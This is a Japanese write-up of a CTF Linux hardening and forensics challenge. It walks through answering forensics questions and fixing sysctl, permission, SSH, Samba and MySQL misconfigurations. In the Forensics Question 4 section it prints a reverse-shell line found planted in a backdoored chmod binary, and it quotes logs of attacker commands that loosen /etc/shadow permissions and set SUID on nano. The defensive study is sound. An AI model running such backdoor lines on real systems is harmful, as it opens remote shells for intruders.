以下設問たくさんありますが、1つの問題です。
- 問題の概要
- Forensics Question
- 設定ミス / 事後対応
- No users are part of the shadow group - 3 pts
- Sudo does not preserve environment variables - 2 pts 解けなかった
- IPv4 TCP TIME-WAIT assassination protection enabled - 2 pts
- IPv4 TCP SYN cookies enabled - 2 pts
- IPv4 IP forwarding disabled - 2 pts
- Kernel pointers hidden from all users - 2 pts
- Restrict unprivileged access to BPF enabled - 2 pts
- Restrict unprivileged access to the kernel syslog enabled - 2 pts
- Removed insecure permissions on passwd file - 3 pts
- Removed insecure permissions on group file - 2 pts
- Shadow is owned by root - 3 pts
- Removed SUID bit from nano - 3 pts
- Fixed insecure permissions on Samba share folder - 3 pts
- AppArmor service has been started - 3 pts
- Samba encryption enabled - 3 pts 解けなかった
- SSH root login disabled - 3 pts
- SSH strict modes enabled - 3 pts
- SSH does not permit empty passwords - 3 pts
- MySQL local infile option disabled - 3 pts 解けなかった
問題の概要
windows user meets linux; pls secure my machine sussy baka. hope you like the surprise.
VMWareのプロジェクト一式が与えられる。起動してみると、ディスク暗号化がかかっているので問題文で与えられているパスワードでブートする。ログイン時も認証情報が問題文に書かれているのでそれでログインする。入った直後に~/readme.txtを見てみると問題の解き方が書かれている。(後で要約を書くので真面目に読まなくてOKです)
$ cat readme.txt
Please read the entire README thoroughly before modifying anything on this computer.
You will receive points for answering any "Forensics Questions" on your Desktop correctly. Valid (scored) "Forensics Questions" will only be located directly on your Desktop. We highly recommend reading all "Forensics Questions" thoroughly before doing anything to this computer, because you could destroy information necessary for answering the forensics question.
Critical services:
Samba (anonymous)
MySQL Server (anonymous)
SSH (key authentication)
Help! The Skeld has set up a new server, but all sorts of stuff have gone wrong! They have asked you to secure their system for them. It's urgent, because there is an imposter among us!
In this image, you will be scored based on how many security misconfigurations and vulnerabilities in the image that you can mitigate. When you receive 100 points from 27 unique scored items, you will receive the correct flag in your home directory. Otherwise, the flag will be fake.
If scoring crashes, you can restart it with "systemctl restart ScoringEngine". You can view your scoring report easily by running "score".
Ensure that all your MySQL configurations go into /etc/mysql/mysql.conf.d/mysql.cnf. This is by Skeld policy. In addition to this, make sure that proper access control and hardening steps are taken.
Authorized admins:
red
Password: Pa$$w0rd10
blue
green
Authorized Users:
red
blue
green
pink
orange
yellow
black
white
purple
brown
cyan
lime
tan
maroon
rose
banana
gray
coral
要約すると、この環境は脆弱な環境で侵害済みの環境で、フォレンジックをしてForensics Question 1~8を答え、また、設定ミスや脆弱性を潰して環境をハードニングするとポイントが得られ、最終的に100ポイント手に入れるとフラグがもらえるという問題。ハーデニングも一部やるが全体としてはDFIR。少し抜粋しているが、書かれている付帯情報を要約すると以下のような感じ。
- クリティカルなサービス
- カスタムコマンド
- スコアリングが壊れたら
systemctl restart ScoringEngine - 現在スコアを確認するには
score
- スコアリングが壊れたら
- ヒント
Ensure that all your MySQL configurations go into /etc/mysql/mysql.conf.d/mysql.cnf. This is by Skeld policy. In addition to this, make sure that proper access control and hardening steps are taken. - Authorized admins
- red: Pa$$w0rd10
- Authorized Users
- maroon
最終形
多分最初に最終形を見せた方が分かりやすいと思う。scoreコマンドで状況確認できるので解く前に確認すると以下のようになる。
$ score Scoring Report 0 out of 27 scored vulnerabilities found 0 out of 100 points earned
最初は27問あって0問解けていて100点中0点。これをForensics Questionに答えたり、設定変更をしてセキュアにしていくと最終的に以下のような出力になる。
$ score Scoring Report Forensics Question 1 Correct (apache2, sucrack, wapiti, yersinia) - 6 pts Forensics Question 2 Correct (04-05-2027) - 6 pts Forensics Question 3 Correct (MD5) - 6 pts Forensics Question 4 Correct (172.26.239.141) - 6 pts Forensics Question 5 Correct (/srv/share/.../.../.../.../.../.skibidi_toilet.jpg) - 6 pts Forensics Question 6 Correct (M@rooned$hrooms) - 6 pts Forensics Question 7 Correct (system_process.py) - 6 pts Forensics Question 8 Correct (294792) - 6 pts No users are part of the shadow group - 3 pts Sudo does not preserve environment variables - 2 pts IPv4 TCP TIME-WAIT assassination protection enabled - 2 pts IPv4 TCP SYN cookies enabled - 2 pts IPv4 IP forwarding disabled - 2 pts Kernel pointers hidden from all users - 2 pts Restrict unprivileged access to BPF enabled - 2 pts Restrict unprivileged access to the kernel syslog enabled - 2 pts Removed insecure permissions on passwd file - 3 pts Removed insecure permissions on group file - 2 pts Shadow is owned by root - 2 pts Removed SUID bit from nano - 3 pts Fixed insecure permissions on Samba share folder - 3 pts AppArmor service has been started - 3 pts Samba encryption is required - 4 pts SSH root login disabled - 4 pts SSH strict modes enabled - 4 pts SSH does not permit empty passwords - 3 pts MySQL local infile option disabled - 4 pts 27 out of 27 scored vulnerabilities found 100 out of 100 points earned
こうなれば、フラグがもらえる。ちなみにForensics Question以外の題名は公開されていないので、環境を見ながら推測で改善活動をしていく必要がある。
解く前に
そのままVMWareでは解きにくかったのでちょっとだけカスタムしてから解き始める。ちなみにOSはUbuntu 22.04
- 英語キー配列だったので
sudo dpkg-reconfigure keyboard-configurationで日本語にして再起動 - ホストオンリーのネットワークにつないで、IPアドレス周りの設定をあれこれやってsshで接続
解いている途中にジャーナルログに環境構築時のコマンドが丸々残っていることに気が付いたので、それを見ながら若干ずるをしてtry-and-errorを減らしながら効率的に解いていった。これが無かったら大分guessがきつくて大変だったと思う。(nessus入れてCIS benchmarks回した方が早いんじゃないかな)
Forensics Question
問題が書かれたForensics Question 1.txt~Forensics Question 8.txtというファイルがあり、各ファイルの末尾にあるANSWER:の後に答えを書いて保存してしばらく待つと正誤判定してくれる。
Forensics Question 1 - 6 pts 解けなかった
Some sussy amogi have recently been playing around with our systems and have installed multiple prohibited programs onto this computer. Find the 4 prohibited programs that have been downloaded onto this system.
Use the full program names and list them in alphabetical order, separated by commas. (EXAMPLE ANSWER: aircrack-ng, hashcat, john, wireshark)
4つ禁止されたプログラムがあるので探して答えよという問題。問題に不備があり、問題文で答えの1つが提供されていた。
For Forensics Question 1 on System Hardening 10, one of the unauthorized programs isn't installed correctly, and doesn't show up as intended. One of the four unauthorized programs for the answer to this question is wapiti.
1つはwapitiのようだ。ジャーナルログで怪しいインストールログが残っていた。
Jul 19 06:03:37 skeld sudo[4661]: root : TTY=pts/1 ; PWD=/etc/ssh ; USER=root ; COMMAND=/usr/bin/apt install meshagent Jul 19 06:04:09 skeld sudo[4673]: root : TTY=pts/1 ; PWD=/etc/ssh ; USER=root ; COMMAND=/usr/bin/apt install wapiti Jul 19 06:05:32 skeld sudo[5024]: root : TTY=pts/1 ; PWD=/etc/ssh ; USER=root ; COMMAND=/usr/bin/apt install yersinia Jul 19 06:05:47 skeld sudo[5617]: root : TTY=pts/1 ; PWD=/etc/ssh ; USER=root ; COMMAND=/usr/bin/apt install sucrack Jul 19 06:06:40 skeld sudo[5713]: root : TTY=pts/1 ; PWD=/etc/ssh ; USER=root ; COMMAND=/usr/bin/apt install brutus
ファイルが残っているか検証すると以下のようになった。
- brutus -> 見つからず
- meshagent -> 見つからず
- sucrack -> /usr/bin/sucrack
- wapiti -> 見つからず
- yersinia -> /usr/bin/yersinia
ok. wapitiは答えに含まれることがヒントで得られているのであと一つ…と思ったが、一向に怪しいバイナリが見当たらずコンテスト終了。
終了後に答えを見るとapache2が残りの1つだった。確かにapacheが動いてない状態で置いてはあったがスルーしていた。HTTPサーバを公開して適当に悪用するということだろうが、どこかに悪用を裏付ける情報あったっけ。あまり納得はいかないが、これで答えが揃った。apache2, sucrack, wapiti, yersiniaが答え。6ポイント獲得。
Forensics Question 2 - 6 pts
User purple seems to never have to change his password when compared to his peers. When does purple's password expire?
Answer in the format MM-DD-YYYY. (EXAMPLE ANSWER: 01-01-2025)
purpleユーザーのパスワードの失効日を答える問題。問題に不備があり、問題文に答えが提供されていた。
It looks like Forensics Question 2 on System Hardening 10 is not working as intended. The question should score with the answer 04-05-2027.
04-05-2027を答えてみるとポイントが6ポイント増えた。
Forensics Question 3 - 6 pts
Recently, it has been noticed that user passwords have begun to rapidly become compromised. We suspect that this is due to an insecure hashing algorithm beingused for our passwords. What is the name of the insecure hashing algorithm being used?
パスワードのハッシュ化方式を答える問題。/etc/shadowを見てみると$y$...というハッシュが多く残っていた。yescryptというものらしい…が得点が増えないので違うみたい。/etc/login.defsを見てみると違う設定値が書かれていた。
# # If set to MD5 , MD5-based algorithm will be used for encrypting password # If set to SHA256, SHA256-based algorithm will be used for encrypting password # If set to SHA512, SHA512-based algorithm will be used for encrypting password # If set to DES, DES-based algorithm will be used for encrypting password (default) # Overrides the MD5_CRYPT_ENAB option # # Note: It is recommended to use a value consistent with # the PAM modules configuration. # ENCRYPT_METHOD MD5
よってMD5を答えると正答。6ポイントゲット。
Forensics Question 4 - 6 pts
Some malicious activity has recently been logged from the various authorized users on the system, but don't seem to be the amogi themselves. We suspect thatthere may be a backdoor that is being run by our users. What is the ip that the backdoor reaches out to?
バックドアが仕掛けられているので答える問題。色々巡回すると/var/spool/cron/crontabs/rootに怪しい記載があった。
*/5 * * * * /dev/net/file.py
見に行ったが無かった。/dev/net/についてよく分かってないが、ネット経由で実行されているのだろう。違うか…
聞かれているのは接続先なので、どこかのログに残ってないかなと思いながら別の問題を解きながらログを見ていくとジャーナルログに以下のような記録を見つける。
Jul 19 07:02:20 skeld sudo[6947]: red : TTY=pts/0 ; PWD=/usr/bin ; USER=root ; COMMAND=/usr/bin/nano chmod
/usr/bin/chmodの中身を見てみると以下のようなバッチファイルに変わっていた。
exec > /dev/null 2>&1 sh -i >& /dev/tcp/172.26.239.141/9001 0>&1
リバースシェルが張られている。172.26.239.141が答えで6ポイント獲得。
Forensics Question 5 - 6 pts
Due to a recent influx in traffic, we suspect that our samba share's integrity has been compromised, and is being used for other purposes than hosting our crew's photos. What is the full path of the unauthorized file that is being shared?
sambaサーバが侵害されて何かが置かれているみたいなので、そのフルパスを取得する問題。
/etc/samba/smb.confを見ると、usershare allow guests = yesになっているので確かにanonymous。共有フォルダは/srv/shareだった。/srv/shareで何か気になるファイルが無いか探すと...というフォルダがあった辿って見つけた/srv/share/.../.../.../.../.../.skibidi_toilet.jpgが答え。6ポイント獲得。
Forensics Question 6 - 6 pts
We have recently implemented a new logging system with a mysql database to log who goes in and out of the rooms. But it seems to have been misused, and now contains sensitive information about users. With this knowledge, what is the user maroon's password?
MySQLを使った入退室システムがあるが、悪用されて機微な情報が漏洩しているとのこと。maroonのパスワードを答える問題。問題文からMySQL Server (anonymous)と分かっているので入って中を巡回してみよう。rootでログインしてmysql -h localhostで入れる。show databases;してみるとroomsというのがある。use rooms;としてshow tables;とすると色々あり、巡回するとstorageというテーブルの中にmaroonのパスワードに関する記録があった。
mysql> select * from storage; +----------------------------------------------------------------+ | name | +----------------------------------------------------------------+ | tan | | lime | | maroon | | pink | | maroon | | maroon | … | maroon | | maroon | | maroon - M@rooned$hrooms | | maroon - that's your password maroon, don't forget it | | maroon | | maroon | | maroon | | maroon | +----------------------------------------------------------------+ 153 rows in set (0.00 sec)
M@rooned$hroomsが答え。6ポイント獲得。
Forensics Question 7 - 6 pts
It seems that unauthorized sussy imposters are somehow still getting access to our systems. It seems that this backdoor has something to do with python. What is the name of the file that contains the python backdoor?
pythonバックドアが含まれているファイルの名前を答える。これも問題不備があり、答えが問題文に書かれていた。
Forensics Question 7 (yes another one) is not working as intended. The answer to this question is system_process.py.
正答すると6ポイント獲得。
Forensics Question 8 - 6 pts
What is the inode number of the file /srv/share/amogus.jpg?
inode番号はstatコマンドで見られるので以下のようにやる。
$ stat -c %i /srv/share/amogus.jpg 294792
よって294792が答え。6ポイント獲得。
設定ミス / 事後対応
脆弱な設定がされているので設定ミスを1つ1つ潰していく。また、攻撃者がやったとされるやばい設定もたくさんあるので、それも直していく。
No users are part of the shadow group - 3 pts
Jul 20 09:06:16 skeld sudo[3456]: red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod 777 /etc/groupというログがあったので777なのは一旦置いておいて中身を見てみた。するとshadow:x:42:maroonとmaroonがshadowグループに入れられていた。maroonはForensics Questionから侵害されているであろうアカウントと分かっているので怪しい。/etc/shadowを何かするグループだろうのでユーザーを消すとポイントが増えた。- https://serverfault.com/questions/133229/what-is-the-shadow-group-used-for
- shadowファイル系を操作する専用のグループとして用意されているみたいだが、自分の環境にもユーザーがいないのでよく分からない
- とりあえず手元の環境だと
-rw-r----- 1 root shadow 1282 Feb 25 16:41 /etc/shadowとなっていたので、shadowファイルを読み取る権限だけ付与したいときにつけるんだろう。多分
Sudo does not preserve environment variables - 2 pts 解けなかった
- コンテスト後discordで見つけた。sudoで環境変数を制限せよというもの。env_resetですね
- visudoを起動して
Defaults secure_path=を#でコメントアウトしてDefaults env_resetを追加すると得点。
ジャーナルログを見ると以下のような設定ログがあった。
Jul 20 08:41:22 skeld sudo[2836]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w net.ipv4.tcp_rfc1337=1 Jul 20 08:41:27 skeld sudo[2840]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w net.ipv4.tcp_syncookies=1 Jul 20 08:41:32 skeld sudo[2843]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w net.ipv4.ip_forward=0 Jul 20 08:41:36 skeld sudo[2847]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w kernel.kptr_restrict=2 Jul 20 08:41:41 skeld sudo[2850]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w kernel.unprivileged_bpf_disabled=1 Jul 20 08:41:45 skeld sudo[2854]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w kernel.dmesg_restrict=1 Jul 20 08:41:54 skeld sudo[2859]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl --system
いくつかカーネル設定が変更されていた。これを1つ1つ見ていく。ジャーナルログに記録があるのが想定だったか分からないが、/etc/sysctl.d/に設定があるものはともかく他はどうやって見つけてくるんだろう?nessusでスキャンすればよかった?
IPv4 TCP TIME-WAIT assassination protection enabled - 2 pts
- ジャーナルログ:
Jul 20 08:41:22 skeld sudo[2836]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w net.ipv4.tcp_rfc1337=1 sysctl -n net.ipv4.tcp_rfc1337で現状の設定を見てみると0だった。設定ファイルを見に行くと/etc/sysctl.d/99-sysctl.confで色々設定がべた書きされていたがこれについての記載はなかったので、末尾にnet.ipv4.tcp_rfc1337=1を追記してsudo sysctl --systemすると設定が適用されてスコアが伸びる- ベストプラクティス的にこれを設定するのは知っていて、性能面で良い効果があるのは知っているがセキュリティ的にもメリットがあるのだろうか。あまりよく知らない
IPv4 TCP SYN cookies enabled - 2 pts
- ジャーナルログ:
Jul 20 08:41:27 skeld sudo[2840]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w net.ipv4.tcp_syncookies=1 - さっき見た
/etc/sysctl.d/99-sysctl.confに設定が書いてあった。net.ipv4.tcp_syncookies=0とあったので1に変更しよう。その後、同様にsudo sysctl --systemで適用するとスコアが伸びる - TCP SYN flood攻撃を防ぐための推奨設定
IPv4 IP forwarding disabled - 2 pts
- ジャーナルログ:
Jul 20 08:41:32 skeld sudo[2843]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w net.ipv4.ip_forward=0 - これも
/etc/sysctl.d/99-sysctl.confに設定が書いてあるので修正しよう。net.ipv4.ip_forward=1とあったので0に変更しよう。その後、同様にsudo sysctl --systemで適用するとスコアが伸びる - IPフォワードを無効化することで中継(によるIPアドレス送信元のなりすまし)を防止する
Kernel pointers hidden from all users - 2 pts
- ジャーナルログ:
Jul 20 08:41:36 skeld sudo[2847]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w kernel.kptr_restrict=2 - これは
/etc/sysctl.d/99-sysctl.confに記載がないので追記する。kernel.kptr_restrict=2を末尾に追記して、sudo sysctl --systemで適用するとスコアが伸びる - 2にすると全てのユーザーに対してカーネルアドレスを隠ぺいする。攻撃を難しくする効果がある
Restrict unprivileged access to BPF enabled - 2 pts
- ジャーナルログ:
Jul 20 08:41:41 skeld sudo[2850]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w kernel.unprivileged_bpf_disabled=1 /etc/sysctl.d/99-sysctl.confに設定が書いてあるので修正しよう。kernel.unprivileged_bpf_disabled=0とあったので1に変更しよう。その後、同様にsudo sysctl --systemで適用するとスコアが伸びる- Unprivileged BPFを無効化する。BPF色々できるので、Unprivilegedは無効化しておいた方が良さそうではある
Restrict unprivileged access to the kernel syslog enabled - 2 pts
- ジャーナルログ:
Jul 20 08:41:45 skeld sudo[2854]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/sysctl -w kernel.dmesg_restrict=1 /etc/sysctl.d/99-sysctl.confに設定が書いてあるので修正しよう。kernel.dmesg_restrict=0とあったので1に変更しよう。その後、同様にsudo sysctl --systemで適用するとスコアが伸びるdmesgをユーザー権限で実行できなくする
ジャーナルログの以下の部分で/etc以下の重要そうなファイルが全世界公開状態にされている。
Jul 20 09:06:12 skeld sudo[3453]: red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod 777 /srv/share Jul 20 09:06:16 skeld sudo[3456]: red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod 777 /etc/group Jul 20 09:06:18 skeld sudo[3460]: red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod 777 /etc/shadow Jul 20 09:06:21 skeld sudo[3463]: red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod 777 /etc/passwd Jul 20 09:06:30 skeld sudo[3467]: red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chown maroon /etc/shadow Jul 20 09:06:45 skeld sudo[3474]: red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod +s /usr/bin/nano
手元の環境と一致させることで標準のものに戻そう。Forensics Questions 4にもあるようにchmodがバックドアに書き換えられている。しょうがないのでscpでchmodを送り込む。cp $(which chmod) .でコピーしてきてscp chmod red@192.168.79.2:~/で送り込んで、問題環境でcp chmod /usr/bin/chmodのように再配置する。
Removed insecure permissions on passwd file - 3 pts
- 手元の環境
-rw-r--r-- 1 root root 2684 Feb 25 16:41 /etc/passwd chmod 644 /etc/passwdで正す
Removed insecure permissions on group file - 2 pts
- 手元の環境
-rw-r--r-- 1 root root 1098 Feb 25 16:41 /etc/group chmod 644 /etc/groupで正す
Shadow is owned by root - 3 pts
- 手元の環境
-rw-r----- 1 root shadow 1282 Feb 25 16:41 /etc/shadow chown root /etc/shadowで正す
Removed SUID bit from nano - 3 pts
- ジャーナルログ
Jul 20 09:06:45 skeld sudo[3474]: red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod +s /usr/bin/nano ls -la /usr/bin/nanoしてみると-rwsr-sr-x 1 root root 283144 Jul 20 01:06 /usr/bin/nanoだったので確かにSUIDが付いているchmod -s /usr/bin/nanoで正す
Fixed insecure permissions on Samba share folder - 3 pts
- ジャーナルログ
Jul 20 09:06:12 skeld sudo[3453]: red : TTY=pts/0 ; PWD=/etc ; USER=root ; COMMAND=/usr/bin/chmod 777 /srv/share - どう直すか迷ったが中に入っているファイルが644だったので644にしておいた
chmod 644 /srv/share
各サービスにおける設定のハードニングも実施する。ジャーナルログにどのサービスの設定に手を入れていたかの記録があったのでそれを頼りに見ていく。
AppArmor service has been started - 3 pts
- ジャーナルログにAppArmorが止められているログが残っていた
Jul 19 05:49:39 skeld sudo[4124]: root : TTY=pts/1 ; PWD=/home/red ; USER=root ; COMMAND=/usr/bin/systemctl stop apparmorJul 19 05:50:17 skeld sudo[4131]: root : TTY=pts/1 ; PWD=/home/red ; USER=root ; COMMAND=/usr/bin/systemctl disable apparmor.service
systemctl status apparmorで確認するとinactiveだったので再度動かす- 動かそう。
systemctl enable apparmor.serviceしてsystemctl start apparmor
Samba encryption enabled - 3 pts 解けなかった
- ジャーナルログ:
Jul 20 06:11:54 skeld sudo[13626]: red : TTY=pts/0 ; PWD=/home/red ; USER=root ; COMMAND=/usr/bin/nano /etc/samba/smb.conf /etc/samba/smb.confで何かしている雰囲気がある。何を設定すればいいか分からなかったのでsmb署名必須化を試してみたがダメ。- discordを見るとsamba encryptionだった。
nano /etc/samba/smb.confで開き[global]以下にsmb encrypt = requiredを追加すると得点
SSH root login disabled - 3 pts
- ジャーナルログ:
Jul 20 06:13:30 skeld sudo[13632]: red : TTY=pts/0 ; PWD=/home/red ; USER=root ; COMMAND=/usr/bin/nano /etc/ssh/sshd_config /etc/ssh/sshd_configで何かしている雰囲気があるので色々試すとrootログインを無効化すると点がもらえた。nano /etc/ssh/sshd_configで開き、PermitRootLogin yesをnoにする
SSH strict modes enabled - 3 pts
- 上と同様。
/etc/ssh/sshd_configで何かしている雰囲気があるので色々試すと、strict modeを有効化すると点がもらえた。 nano /etc/ssh/sshd_configで開き、StrictModes noをyesにする。StrictModeについてよく知らないがデフォルトはyesなのでよく分からないがダメ
SSH does not permit empty passwords - 3 pts
- 上と同様。
/etc/ssh/sshd_configで何かしている雰囲気があるので色々試すと、PermitEmptyPasswords yesをnoにすると点がもらえた。 nano /etc/ssh/sshd_configで開き、PermitEmptyPasswords yesをnoにする。
MySQL local infile option disabled - 3 pts 解けなかった
- ジャーナルログ:
Jul 20 08:45:09 skeld sudo[2934]: red : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/nano /etc/mysql/my.cnf - ジャーナルログからMySQLのハードニングをするんだろうというのは分かるが、知見が無くこことかを見ながら色々していたがダメだった
- discordで解法を見るとほとんど方針はあっていて、(見るサイトもあっていて、)local-infileだった。ここにあるような情報
- SQL Injectionでファイル書き込みするときの
INFILEテクを防止できる
- SQL Injectionでファイル書き込みするときの
- readme.txtに
Ensure that all your MySQL configurations go into /etc/mysql/mysql.conf.d/mysql.cnfとあったのでnano /etc/mysql/mysql.conf.d/mysql.cnfの[mysql]の下にlocal_infile=0を書き込むと得点